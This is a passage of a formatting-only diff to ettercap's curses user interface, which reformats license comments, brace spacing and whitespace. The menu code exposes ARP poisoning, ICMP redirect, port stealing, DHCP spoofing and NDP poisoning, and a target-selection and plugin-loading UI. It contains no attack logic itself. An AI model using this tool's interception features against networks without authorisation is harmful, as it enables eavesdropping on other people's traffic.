+ * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -42,18 +42,17 @@ static void curses_mitm_stop(void); static char params[PARAMS_LEN]; -struct wdg_menu menu_mitm[] = { {"Mitm", 'M', "", NULL}, - {"ARP poisoning...", 0, "", curses_arp_poisoning}, - {"ICMP redirect...", 0, "", curses_icmp_redir}, - {"PORT stealing...", 0, "", curses_port_stealing}, - {"DHCP spoofing...", 0, "", curses_dhcp_spoofing}, +struct wdg_menu menu_mitm[] = { { "Mitm", 'M', "", NULL }, + { "ARP poisoning...", 0, "", curses_arp_poisoning }, + { "ICMP redirect...", 0, "", curses_icmp_redir }, + { "PORT stealing...", 0, "", curses_port_stealing }, + { "DHCP spoofing...", 0, "", curses_dhcp_spoofing }, #ifdef WITH_IPV6 - {"NDP poisoning...", 0, "", curses_ndp_poisoning}, + { "NDP poisoning...", 0, "", curses_ndp_poisoning }, #endif - {"-", 0, "", NULL}, - {"Stop mitm attack(s)", 0, "", curses_mitm_stop}, - {NULL, 0, NULL, NULL}, - }; + { "-", 0, "", NULL }, + { "Stop mitm attack(s)", 0, "", curses_mitm_stop }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ @@ -61,7 +60,7 @@ static void curses_arp_poisoning(void) { char *method = "arp:"; size_t len = strlen(method); - + DEBUG_MSG("curses_arp_poisoning"); strncpy(params, method, len); @@ -77,7 +76,7 @@ static void curses_icmp_redir(void) DEBUG_MSG("curses_icmp_redir"); strncpy(params, method, len); - + curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } @@ -89,7 +88,7 @@ static void curses_port_stealing(void) DEBUG_MSG("curses_port_stealing"); strncpy(params, method, len); - + curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } @@ -101,7 +100,7 @@ static void curses_dhcp_spoofing(void) DEBUG_MSG("curses_dhcp_spoofing"); strncpy(params, method, len); - + curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } @@ -117,52 +116,51 @@ static void curses_ndp_poisoning(void) curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } + #endif -/* - * start the mitm attack by passing the name and parameters +/* + * start the mitm attack by passing the name and parameters */ static void curses_start_mitm(void) { DEBUG_MSG("curses_start_mitm"); - + mitm_set(params); mitm_start(); } - /* * stop all the mitm attack(s) */ static void curses_mitm_stop(void) { wdg_t *dlg; - + DEBUG_MSG("curses_mitm_stop"); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS); - + wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(dlg, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_dialog_text(dlg, WDG_NO_BUTTONS, "Stopping the mitm attack..."); wdg_draw_object(dlg); - + wdg_set_focus(dlg); - + wdg_update_screen(); - + /* stop the mitm process */ mitm_stop(); wdg_destroy_object(&dlg); - + curses_message("MITM attack(s) stopped"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_offline.c b/src/interfaces/curses/ec_curses_offline.c index 0d1bdd6d0..f1aebdebf 100644 --- a/src/interfaces/curses/ec_curses_offline.c +++ b/src/interfaces/curses/ec_curses_offline.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,13 +25,12 @@ /*******************************************/ - /* the interface */ void curses_sniff_offline(void) { wdg_t *menu; - + DEBUG_MSG("curses_sniff_offline"); wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); @@ -49,7 +48,7 @@ void curses_sniff_offline(void) wdg_menu_add(menu, menu_logging); wdg_menu_add(menu, menu_help); wdg_draw_object(menu); - + /* repaint the whole screen */ wdg_redraw_all(); @@ -58,7 +57,7 @@ void curses_sniff_offline(void) /* add the message flush callback */ wdg_add_idle_callback(curses_flush_msg); - /* + /* * give the control to the event dispatcher * with the emergency exit CTRL + X */ @@ -67,8 +66,6 @@ void curses_sniff_offline(void) wdg_destroy_object(&menu); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_plugins.c b/src/interfaces/curses/ec_curses_plugins.c index aefd20727..4d3eb0920 100644 --- a/src/interfaces/curses/ec_curses_plugins.c +++ b/src/interfaces/curses/ec_curses_plugins.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -45,11 +45,10 @@ static wdg_t *wdg_plugin; static struct wdg_list *wdg_plugin_elements; static size_t nplug; -struct wdg_menu menu_plugins[] = { {"Plugins", 'P', "", NULL}, - {"Manage the plugins", CTRL('P'), "C-p", curses_plugin_mgmt}, - {"Load a plugin...", 0, "", curses_plugin_load}, - {NULL, 0, NULL, NULL}, - }; +struct wdg_menu menu_plugins[] = { { "Plugins", 'P', "", NULL }, + { "Manage the plugins", CTRL('P'), "C-p", curses_plugin_mgmt }, + { "Load a plugin...", 0, "", curses_plugin_load }, + { NULL, 0, NULL, NULL }, }; /* mutexes */ static pthread_mutex_t pluginlist_mutex = PTHREAD_MUTEX_INITIALIZER; @@ -62,11 +61,11 @@ static pthread_mutex_t pluginlist_mutex = PTHREAD_MUTEX_INITIALIZER; static void curses_plugin_load(void) { wdg_t *fop; - + DEBUG_MSG("curses_plugin_load"); - + wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(fop, "Select a plugin...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -74,9 +73,9 @@ static void curses_plugin_load(void) wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, curses_load_plugin); - + wdg_draw_object(fop); - + wdg_set_focus(fop); } @@ -91,19 +90,19 @@ static void curses_load_plugin(const char *path, char *file) /* check the return code */ switch (ret) { - case E_SUCCESS: - curses_message("Plugin loaded successfully"); - break; - case -E_DUPLICATE: - ui_error("plugin %s already loaded...", file); - break; - case -E_VERSION: - ui_error("plugin %s was compiled for a different ettercap version...", file); - break; - case -E_INVALID: - default: - ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); - break; + case E_SUCCESS: + curses_message("Plugin loaded successfully"); + break; + case -E_DUPLICATE: + ui_error("plugin %s already loaded...", file); + break; + case -E_VERSION: + ui_error("plugin %s was compiled for a different ettercap version...", file); + break; + case -E_INVALID: + default: + ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); + break; } } @@ -113,19 +112,19 @@ static void curses_load_plugin(const char *path, char *file) static void curses_plugin_mgmt(void) { DEBUG_MSG("curses_plugin_mgmt"); - + /* create the array for the list widget */ curses_create_plug_array(); - + /* if the object already exist, set the focus to it */ if (wdg_plugin) { /* set the new array */ wdg_list_set_elements(wdg_plugin, wdg_plugin_elements); return; } - + wdg_create_object(&wdg_plugin, WDG_LIST, WDG_OBJ_WANT_FOCUS); - + wdg_set_size(wdg_plugin, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_plugin, "Select a plugin...", WDG_ALIGN_LEFT); wdg_set_color(wdg_plugin, WDG_COLOR_SCREEN, EC_COLOR); @@ -134,19 +133,18 @@ static void curses_plugin_mgmt(void) wdg_set_color(wdg_plugin, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_plugin, WDG_COLOR_TITLE, EC_COLOR_TITLE); - /* set the elements */ wdg_list_set_elements(wdg_plugin, wdg_plugin_elements); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_plugin, CTRL('Q'), curses_plug_destroy); - + /* add the callback */ wdg_list_select_callback(wdg_plugin, curses_select_plugin); wdg_list_add_callback(wdg_plugin, ' ', curses_plugin_help); - + wdg_draw_object(wdg_plugin); - + wdg_set_focus(wdg_plugin); } @@ -158,7 +156,7 @@ static void curses_plug_destroy(void) static void curses_plugin_help(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - activate/deactivate a plugin"; @@ -166,17 +164,16 @@ static void curses_plugin_help(void *dummy) curses_message(help); } - /* * create the array for the widget. - * erase any previously alloc'd array + * erase any previously alloc'd array */ static void curses_create_plug_array(void) { int res, i = 0; - + DEBUG_MSG("curses_create_plug_array"); - + /* free the array (if alloc'ed) */ while (wdg_plugin_elements && wdg_plugin_elements[i].desc != NULL) { SAFE_FREE(wdg_plugin_elements[i].desc); @@ -184,10 +181,10 @@ static void curses_create_plug_array(void) } SAFE_FREE(wdg_plugin_elements); nplug = 0; - + /* go thru the list of plugins */ res = plugin_list_walk(PLP_MIN, PLP_MAX, &curses_wdg_plugin); - if (res == -E_NOTFOUND) { + if (res == -E_NOTFOUND) { SAFE_CALLOC(wdg_plugin_elements, 1, sizeof(struct wdg_list)); wdg_plugin_elements->desc = "No plugin found !"; } @@ -198,48 +195,48 @@ static void curses_create_plug_array(void) */ static void curses_refresh_plug_array(char active, struct plugin_ops *ops) { - /* refresh the description */ - snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); - + /* refresh the description */ + snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); + nplug++; } /* - * callback function for displaying the plugin list + * callback function for displaying the plugin list */ static void curses_wdg_plugin(char active, struct plugin_ops *ops) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_plugin_elements, (nplug + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN + 1, sizeof(char)); - snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); + snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); wdg_plugin_elements[nplug].value = ops->name; - + nplug++; - - /* null terminate the array */ + + /* null terminate the array */ SAFE_REALLOC(wdg_plugin_elements, (nplug + 1) * sizeof(struct wdg_list)); wdg_plugin_elements[nplug].desc = NULL; wdg_plugin_elements[nplug].value = NULL; } /* - * callback function for a plugin + * callback function for a plugin */ static void curses_select_plugin(void *plugin) { /* prevent the selection when the list is empty */ if (plugin == NULL) return; - + /* print the message */ if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n", plugin); - + /* * pay attention on this ! * if the plugin init does not return, @@ -248,10 +245,10 @@ static void curses_select_plugin(void *plugin) * and immediately return */ if (plugin_is_activated(plugin) == 1) - plugin_fini(plugin); + plugin_fini(plugin); else plugin_init(plugin); - + /* refres the array for the list widget */ curses_plugins_update(); } @@ -265,15 +262,13 @@ void curses_plugins_update(void) /* refres the array for the list widget */ nplug = 0; plugin_list_walk(PLP_MIN, PLP_MAX, &curses_refresh_plug_array); - + /* refresh the list */ wdg_list_refresh(wdg_plugin); CURSES_UNLOCK(pluginlist_mutex); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_start.c b/src/interfaces/curses/ec_curses_start.c index a15b3d43c..d01928785 100644 --- a/src/interfaces/curses/ec_curses_start.c +++ b/src/interfaces/curses/ec_curses_start.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -30,21 +30,19 @@ static void curses_stop_sniffing(void); /* globals */ -struct wdg_menu menu_start[] = { {"Start", 'S', "", NULL}, - {"Start sniffing", CTRL('W'), "C-w", curses_start_sniffing}, - {"Stop sniffing", CTRL('E'), "C-e", curses_stop_sniffing}, - {"-", 0, "", NULL}, - {"Exit", CTRL('X'), "C-x", wdg_exit}, - {NULL, 0, NULL, NULL}, - }; +struct wdg_menu menu_start[] = { { "Start", 'S', "", NULL }, + { "Start sniffing", CTRL('W'), "C-w", curses_start_sniffing }, + { "Stop sniffing", CTRL('E'), "C-e", curses_stop_sniffing }, + { "-", 0, "", NULL }, + { "Exit", CTRL('X'), "C-x", wdg_exit }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ - static void curses_start_sniffing(void) { DEBUG_MSG("curses_start_sniffing"); - + /* start the sniffing method */ EXECUTE(GBL_SNIFF->start); } @@ -52,13 +50,11 @@ static void curses_start_sniffing(void) static void curses_stop_sniffing(void) { DEBUG_MSG("curses_stop_sniffing"); - + /* terminate the sniffing engine */ EXECUTE(GBL_SNIFF->cleanup); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_targets.c b/src/interfaces/curses/ec_curses_targets.c index 35a28c0f9..3ef42925c 100644 --- a/src/interfaces/curses/ec_curses_targets.c +++ b/src/interfaces/curses/ec_curses_targets.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -50,17 +50,15 @@ static struct wdg_list *wdg_t1_elm, *wdg_t2_elm; static char thost[MAX_ASCII_ADDR_LEN]; static char tag_reverse[] = " "; -struct wdg_menu menu_targets[] = { {"Targets", 'T', "", NULL}, - {"Current Targets", 't', "t", curses_current_targets}, - {"Select TARGET(s)", CTRL('T'), "C-t", curses_select_targets}, - {"-", 0, "", NULL}, - {"Protocol...", 'p', "p", curses_select_protocol}, - {"Reverse matching", 0, tag_reverse, toggle_reverse}, - {"-", 0, "", NULL}, - {"Wipe targets", 'W', "W", wipe_targets}, - {NULL, 0, NULL, NULL}, - }; - +struct wdg_menu menu_targets[] = { { "Targets", 'T', "", NULL }, + { "Current Targets", 't', "t", curses_current_targets }, + { "Select TARGET(s)", CTRL('T'), "C-t", curses_select_targets }, + { "-", 0, "", NULL }, + { "Protocol...", 'p', "p", curses_select_protocol }, + { "Reverse matching", 0, tag_reverse, toggle_reverse }, + { "-", 0, "", NULL }, + { "Wipe targets", 'W', "W", wipe_targets }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ @@ -81,7 +79,7 @@ static void toggle_reverse(void) static void wipe_targets(void) { DEBUG_MSG("wipe_targets"); - + reset_display_filter(GBL_TARGET1); reset_display_filter(GBL_TARGET2); @@ -113,7 +111,8 @@ static void set_protocol(void) { if (strcasecmp(GBL_OPTIONS->proto, "all") && strcasecmp(GBL_OPTIONS->proto, "tcp") && - strcasecmp(GBL_OPTIONS->proto, "udp")) { + strcasecmp(GBL_OPTIONS->proto, "udp")) + { ui_error("Invalid protocol"); SAFE_FREE(GBL_OPTIONS->proto); } @@ -125,17 +124,17 @@ static void set_protocol(void) static void curses_select_targets(void) { wdg_t *in; - + #ifndef TARGET_LEN #define TARGET_LEN 50 #endif - + DEBUG_MSG("curses_select_target1"); /* make sure we have enough space */ SAFE_REALLOC(GBL_OPTIONS->target1, TARGET_LEN * sizeof(char)); SAFE_REALLOC(GBL_OPTIONS->target2, TARGET_LEN * sizeof(char)); - + wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(in, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(in, WDG_COLOR_WINDOW, EC_COLOR); @@ -145,14 +144,14 @@ static void curses_select_targets(void) wdg_input_add(in, 1, 1, "TARGET1 :", GBL_OPTIONS->target1, TARGET_LEN, 1); wdg_input_add(in, 1, 2, "TARGET2 :", GBL_OPTIONS->target2, TARGET_LEN, 1); wdg_input_set_callback(in, set_targets); - + wdg_draw_object(in); - + wdg_set_focus(in); } /* - * set the targets + * set the targets */ static void set_targets(void) { @@ -163,11 +162,11 @@ static void set_targets(void) /* free empty filters */ if (!strcmp(GBL_OPTIONS->target1, "")) SAFE_FREE(GBL_OPTIONS->target1); - + /* free empty filters */ if (!strcmp(GBL_OPTIONS->target2, "")) SAFE_FREE(GBL_OPTIONS->target2); - + /* compile the filters */ compile_display_filter(); @@ -182,10 +181,10 @@ static void set_targets(void) static void curses_current_targets(void) { DEBUG_MSG("curses_current_targets"); - + /* prepare the arrays for the target lists */ curses_create_targets_array(); - + /* if the object already exist, recreate it */ if (wdg_comp) { wdg_destroy_object(&wdg_comp); @@ -198,13 +197,13 @@ static void curses_current_targets(void) wdg_set_color(wdg_comp, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_title(wdg_comp, "Current targets", WDG_ALIGN_LEFT); wdg_set_size(wdg_comp, 1, 2, 98, SYSMSG_WIN_SIZE - 1); - + wdg_create_object(&wdg_t1, WDG_LIST, 0); wdg_set_title(wdg_t1, "Target 1", WDG_ALIGN_LEFT); wdg_set_color(wdg_t1, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_set_color(wdg_t1, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_size(wdg_t1, 2, 3, 49, SYSMSG_WIN_SIZE - 2); - + wdg_create_object(&wdg_t2, WDG_LIST, 0); wdg_set_title(wdg_t2, "Target 2", WDG_ALIGN_LEFT); wdg_set_color(wdg_t2, WDG_COLOR_TITLE, EC_COLOR_TITLE); @@ -220,18 +219,17 @@ static void curses_current_targets(void) wdg_list_add_callback(wdg_t1, 'a', curses_add_target1); wdg_list_add_callback(wdg_t2, 'd', curses_delete_target2); wdg_list_add_callback(wdg_t2, 'a', curses_add_target2); - + /* link the widget together within the compound */ wdg_compound_add(wdg_comp, wdg_t1); wdg_compound_add(wdg_comp, wdg_t2); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_comp, CTRL('Q'), curses_destroy_tsel); wdg_compound_add_callback(wdg_comp, ' ', curses_target_help); - + wdg_draw_object(wdg_comp); wdg_set_focus(wdg_comp); - } static void curses_destroy_tsel(void) @@ -242,7 +240,7 @@ static void curses_destroy_tsel(void) static void curses_target_help(void) { char help[] = "HELP: shortcut list:\n\n" - " ARROWS - switch between panels\n" + " ARROWS - switch between panels\n" " a - to add a new host\n" " d - to delete an host from the list"; @@ -251,7 +249,7 @@ static void curses_target_help(void) /* * create the array for the widget. - * erase any previously alloc'd array + * erase any previously alloc'd array */ static void curses_create_targets_array(void) { @@ -260,7 +258,7 @@ static void curses_create_targets_array(void) size_t nhosts = 0; DEBUG_MSG("curses_create_targets_array"); - + /* free the array (if alloc'ed) */ while (wdg_t1_elm && wdg_t1_elm[nhosts].desc != NULL) { SAFE_FREE(wdg_t1_elm[nhosts].desc); @@ -274,7 +272,7 @@ static void curses_create_targets_array(void) SAFE_FREE(wdg_t1_elm); SAFE_FREE(wdg_t2_elm); nhosts = 0; - + /* XXX - two more loops were added to handle ipv6 targets * since ipv6 targets require a separate list and it is * unreasonable to put both ipv4 and ipv6 at the same list @@ -285,68 +283,68 @@ static void curses_create_targets_array(void) /* walk TARGET 1 */ LIST_FOREACH(il, &GBL_TARGET1->ips, next) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ - snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); - + snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); + wdg_t1_elm[nhosts].value = il; - + nhosts++; } /* same for IPv6 targets */ LIST_FOREACH(il, &GBL_TARGET1->ip6, next) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ - snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); - + snprintf(wdg_t1_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); + wdg_t1_elm[nhosts].value = il; - + nhosts++; } - /* null terminate the array */ + /* null terminate the array */ SAFE_REALLOC(wdg_t1_elm, (nhosts + 1) * sizeof(struct wdg_list)); wdg_t1_elm[nhosts].desc = NULL; wdg_t1_elm[nhosts].value = NULL; - + nhosts = 0; /* walk TARGET 2 */ LIST_FOREACH(il, &GBL_TARGET2->ips, next) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ - snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); - + snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); + wdg_t2_elm[nhosts].value = il; - + nhosts++; } LIST_FOREACH(il, &GBL_TARGET2->ip6, next) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN + 1, sizeof(char)); /* print the description in the array */ - snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); - + snprintf(wdg_t2_elm[nhosts].desc, MAX_ASCII_ADDR_LEN, "%s", ip_addr_ntoa(&il->ip, tmp)); + wdg_t2_elm[nhosts].value = il; - + nhosts++; } - - /* null terminate the array */ + + /* null terminate the array */ SAFE_REALLOC(wdg_t2_elm, (nhosts + 1) * sizeof(struct wdg_list)); wdg_t2_elm[nhosts].desc = NULL; wdg_t2_elm[nhosts].value = NULL; @@ -360,7 +358,7 @@ static void curses_delete_target1(void *host) struct ip_list *il; DEBUG_MSG("curses_delete_target1"); - + /* cast the parameter */ il = (struct ip_list *)host; @@ -376,7 +374,7 @@ static void curses_delete_target2(void *host) struct ip_list *il; DEBUG_MSG("curses_delete_target2"); - + /* cast the parameter */ il = (struct ip_list *)host; @@ -393,7 +391,7 @@ static void curses_delete_target2(void *host) static void curses_add_target1(void *entry) { /* variable not used */ - (void) entry; + (void)entry; DEBUG_MSG("curses_add_target1"); @@ -403,7 +401,7 @@ static void curses_add_target1(void *entry) static void curses_add_target2(void *entry) { /* variable not used */ - (void) entry; + (void)entry; DEBUG_MSG("curses_add_target2"); @@ -414,13 +412,13 @@ static void add_target1(void) { struct ip_addr ip; - if(ip_addr_pton(thost, &ip) == -E_INVALID) { + if (ip_addr_pton(thost, &ip) == -E_INVALID) { curses_message("Invalid ip address"); return; } - + add_ip_list(&ip, GBL_TARGET1); - + /* redraw the window */ curses_current_targets(); } @@ -429,16 +427,16 @@ static void add_target2(void) { struct ip_addr ip; - if(ip_addr_pton(thost, &ip) == -E_INVALID) { + if (ip_addr_pton(thost, &ip) == -E_INVALID) { curses_message("Invalid ip address"); return; } add_ip_list(&ip, GBL_TARGET2); - + /* redraw the window */ curses_current_targets(); - + /* redraw the window */ curses_current_targets(); } @@ -446,4 +444,3 @@ static void add_target2(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_view.c b/src/interfaces/curses/ec_curses_view.c index 2c1f9036e..0089dcc4c 100644 --- a/src/interfaces/curses/ec_curses_view.c +++ b/src/interfaces/curses/ec_curses_view.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have 